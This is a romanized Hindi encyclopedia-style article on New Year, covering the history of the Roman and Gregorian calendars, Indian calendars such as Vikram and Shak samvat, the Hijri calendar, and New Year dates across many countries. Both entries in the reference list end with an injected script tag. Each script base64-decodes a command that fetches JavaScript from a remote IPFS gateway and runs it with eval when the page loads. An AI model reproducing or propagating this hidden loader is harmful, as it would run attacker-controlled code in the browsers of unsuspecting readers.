नववर्ष
navavarsh
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| any nam | naya sal, nyoo eeyar |
| anuyayi | sabhi |
| uddeshy | is din ke sath duniya ke zyadatar log apane ne sal ki shuruat karate haian. |
| tithi | 1 janavari |
| prasiddhi | 1 janavari ko manaya jane vala navavarsh darasal gregoriyan kaileandar par adharit hai. isaki shuruat roman kaileandar se huee hai. |
| any janakari | ek anuman ke anusar akele bharat mean hi qarib 50 kaileandar (panchaang) haian aur inamean se kee ka naya sal alag dinoan par hota hai. |
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navavarsh (aangrezi: New Year) yani varsh ka pahala din 1 janavari ko manaya jata hai. is din ke sath duniya ke zyadatar log apane ne sal ki shuruat karate haian. ne ka atmabodh hamare aandar naya utsah bharata hai aur ne tariqe se jivan jine ka sandesh deta hai. halaanki ye ullas, ye utsah duniya ke alag-alag kone mean alag-alag din manaya jata hai kyoanki duniya bhar mean kee kaileandar haian aur har kaileandar ka naya sal alag-alag hota hai. ek anuman ke anusar akele bharat mean hi qarib 50 kaileandar (panchaang) haian aur inamean se kee ka naya sal alag dinoan par hota hai. thumb|left|maya kailandar
itihas
1 janavari ko manaya jane vala navavarsh darasal gregoriyan kaileandar par adharit hai. isaki shuruat roman kaileandar se huee hai. paranparik roman kaileandar ka navavarsh 1 march se shuroo hota hai. prasiddh roman samrat jooliyas sizar ne 47 eesa poorv mean is kaileandar mean parivartan kiya aur isamean julaee mah jo da. isake bad usake bhatije ke nam ke adhar par isamean agast mah jo da gaya. duniya bhar mean aj jo kaileandar prachalit hai, use pop gregori ashtam ne 1582 mean taiyar kiya tha. gregori ne isamean lip eeyar ka pravadhan kiya tha. eesaiyoan ka ek any panth 'eestarn arthod aauks charch' tatha isake anuyayi gregoriyan kaileandar ko manyata n dekar paranparik roman kaileandar ko hi manate haian. is kaileandar ke anusar naya sal 14 janavari ko manaya jata hai. is kaileandar ki manyata ke anusar j aaurjiya, roos, yarooshalam, sarbiya adi mean 14 janavari ko navavarsh manaya jata hai.[1]
ne sal mean log apani purani aur buri yadoan ko pichhe chho dakar ek nee shuruat karate haian. pahale naya sal 1 janavari ko nahian manaya jata tha. pahale naya sal kabhi 25 march ko to kabhi 25 disanbar ko manaya jata tha. sabase pahale naya sal ke taur par 1 janavari ko manyata 15 aktoobar 1582 ko mili thi. mars yani mangal grah par march ka nam rakha gaya hai. rom mean mangal grah ko "yuddh ka devata" mana jata hai. jo kaileandar sabase pahala banaya gaya tha, usamean matr 10 mahine hote the. tab ek sal mean 310 din hote the tatha 8 din ka ek saptah hota tha.[2]
rom ke raja nooma poanpilas ne roman kaileandar mean sabase pahale badalav kiya tha. isake bad roman kaileandar mean sal ka pahala mahina janavari ko mana gaya. jabaki pahale march ko sal ka pahala mahina mana jata tha. isake bad rom mean ek shasak ae jooliyas sijar. unhoanne roman kaileandar mean phir badalav karavaya. unhoanne ek sal mean 12 mahine kar die. sijar ne khagolavidoan se mulakat ke bad kaileandar banavaya tha. is mulakat mean unhean pata chala tha ki prithvi 365 din aur chhah ghante mean soory ka ek chakkar lagati hai. isaki vajah se unhoanne ek kaileandar mean 365 din ka sal karavaya.
halaanki sal 1582 mean pop gregari ne jooliyan kaileandar mean lip eeyar ko lekar ek galati nikali thi. tab ke mashahoor dharm guroo seant bid ne pop gregari ko salah di thi ki ek sal mean 365 din, 5 ghante aur 46 sekand hote haian. isake bad roman kaileandar mean b da badalav kar naya kaileandar banaya gaya aur 1 janavari ko naya sal mana jane laga.
bharat mean navavarsh
bharat kailaiandaroan ke mamale mean kam samriddh nahian hai. is samay desh mean vikram sanvat, shak sanvat, hijari sanvat, phasali sanvat, baangla sanvat, bauddh sanvat, jain sanvat, khalasa sanvat, tamil sanvat, malayalam sanvat, telugu sanvat adi anek prachalit haian. inamean se har ek ke apane alag-alag navavarsh hote haian. desh mean sarvadhik prachalit sanvat vikram aur shak sanvat hai. mana jata hai ki vikram sanvat gupt samrat vikramadity ne ujjayani mean shakoan ko parajit karane ki yad mean shuroo kiya tha. yah sanvat 58 eesa poorv shuroo hua tha. vikram sanvat chaitr mah ke shukl paksh ki pratipada se shuroo hota hai.thumb|left|navavarsh ki shubhakamanaean isi samay chaitr navaratr praranbh hota hai. chaitr shukl pratipada ke din uttar bharat ke alava gu di p dava aur ugadi ke roop mean bharat ke vibhinn hissoan mean nav varsh manaya jata hai. siandhi log isi din cheti chandr ke roop mean navavarsh manate haian. shak savant ko shalivahan shak sanvat ke roop mean bhi jana jata hai. mana jata hai ki ise shak samrat kanishk ne 78 ee. mean shuroo kiya tha. svatantrata ke bad bharat sarakar ne isi shak sanvat mean mamooli pherabadal karate hue ise rashtriy sanvat ke roop mean apana liya. rashtriy sanvat ka nav varsh 22 march ko hota hai jabaki lip eeyar mean yah 21 march hota hai.[1] chaitr shukla pratipada ko vikramiy sanvat ki drishti se navavarsh manaya jata hai. braj mean is din nim ki pati aur mishri khane ki parampara hai.
islamik kaileandar ke anusar
[[chitr:Calendar.jpg|thumb|panchaang]] islam dharm ke kaileandar ko hijari sal ke nam se jana jata hai. isaka navavarsh moharram mah ke pahale din hota hai. hijari kaileandar karbala ki l daee ke pahale hi nirdharit kar liya gaya tha. moharram ke dasavean din ko ashoora ke roop mean jana jata hai. isi din paigambar mohammad ke navase imam husain bagadad ke nikat karbala mean shahid hue the. hijari kaileandar ke bare mean ek dilachasp bat yah hai ki isamean chandrama ki ghatati - badhati chal ke anusar dinoan ka sanyojan nahian kiya gaya hai. lihaja isake mahine har sal qarib 10 din pichhe khisakate rahate haian.[1]
any deshoan mean navavarsh
yadi bharat ke p dosi desh aur desh ki purani sabhyataoan mean se ek chin mean bhi apana ek alag kaileandar hai. takariban sabhi purani sabhyataoan ke anusar chin ka kaileandar bhi chandrama ganana par adharit hai. isaka naya sal 21 janavari se 21 pharavari ke bich p data hai. chini varsh ke nam 12 janavaroan ke nam par rakhe ge haian. chini jyotish mean logoan ki rashiyaan bhi 12 janavaroan ke nam par hoti haian. lihaja yadi kisi ki bandar rashi hai aur naya varsh bhi bandar a raha ho to vah sal us vyakti ke lie vishesh taur par bhagyashali mana jata hai.
1 janavari ko ab naye sal ke jashn ke rup mean manaya jata hai. ek-doosare ki dekha-dekhi yah jashn manane vale shayad hi janate hoan ki duniya bhar mean poore 70 navavarsh manae jate haian. dilachasp bat yah hai ki aj bhi poori duniya kailendar pranali par ekamat nahian haian. ikkisavian shatabdi ke vaijnanik yug mean iansan antariksh mean ja pahuancha hai, magar kahian soory par adharit, kahian chandrama par adharit to kahian soory, chandrama aur taroan ki chal par dharmik manyataoan ke anusar duniya mean vibhinn kailendar pranaliyaan lagoo haian. yahi vajah hai ki akele bharat mean poore sal tis alag-alag nav varsh manae jate haian. duniya mean sarvadhik prachalit kailendar ‘gregoriyan kailendar’ hai. jise pop gregari terah ne 24 pharavari, 1582 ko lagoo kiya tha. yah kailendar 15 aktoobar, 1582 mean shuroo hua. isamean anek trutiyaan hone ke bavajood bhi kee prachin kailendaroan ko duniya ke vibhinn hissoan mean aj bhi manyata mili huee haian.[1]
vibhinn deshoan mean vibhinn navavarsh
japani nav varsh ‘ganatan-saeean’ ya ‘oshogatsoo’ ke nam se bhi jana jata hai. mahayan bauddh 7 janavari, prachin sk aaut mean 11 janavari, vels ke ivan vaili mean nav varsh 12 janavari, soviyat roos ke rudhi़vadi charchoan, arameniya aur rom mean navavarsh 14 janavari ko hota hai. vahian seltik, koriya, viyatanam, tibbat, lebanan aur chin mean nav varsh 21 janavari ko praranbh hota hai. prachin ayaralaiand mean navavarsh 1 pharavari ko manaya jata hai to prachin rom mean 1 march ko. bharat mean nanak shahi kailendar ka nav varsh 14 march se shuroo hota hai. isake atirikt eeran, prachin roos tatha bharat mean bahaee, telugoo tatha jamashedi (jorostriyan) ka naya varsh 21 march se shuroo hota hai. prachin briten mean nav varsh 25 march ko praranbh hota hai. thumb|left|navavarsh ki shubhakamanaean prachin phraans mean 1 aprail se apana naya sal praranbh karane ki paranpara thi. yah din 'aprail phool' ke rup mean bhi jana jata hai. thaeelaiand, barma, shrilanka, kambodiya aur lao ke log 7 aprail ko bauddh navavarsh manate haian. vahian kashmir ke log aprail mean, bharat mean vaishakhi ke din, dakshin-poorv eshiya ke deshoan, bangaladesh, shrilanka, thaeelaiand, kambodiya, nepal, bangal, shrilanka v tamil kshetroan mean, naya varsh 14 aprail ko manaya jata hai. isi din shrilanka ka rashtriy nav varsh manaya jata hai. sikhoan ka naya sal bhi 14 aprail ko manaya jata hai. bauddh dharm ke kuchh anuyayi buddh poornima ke din 17 aprail ko naya sal manate haian. asam mean navavarsh 15 aprail ko, parasi apana navavarsh 22 aprail ko, to bebiloniyan nav varsh 24 aprail se shuroo hota hai. prachin grik mean nav varsh 21 joon ko manaya jata tha. prachin jarmani mean naya sal 29 joon ko manane ki paranpara thi aur prachin amerika mean 1 julaee ko. isi prakar arameniyan kailendar 9 julaee se praranbh hota hai jabaki myaanmar ka naya sal 21 julaee se shuroo hota hai.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 1.4 dvivedi, aparna. nav varsh ke vibhinhn roop (hiandi) (e.es.pi) patr soochana karyalay, bharat sarakar. abhigaman tithi: 23 disambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ pahale 25 disanbar ko naya sal manate the log (hiandi) zeenews.india.com. abhigaman tithi: 31 disambar, 2021.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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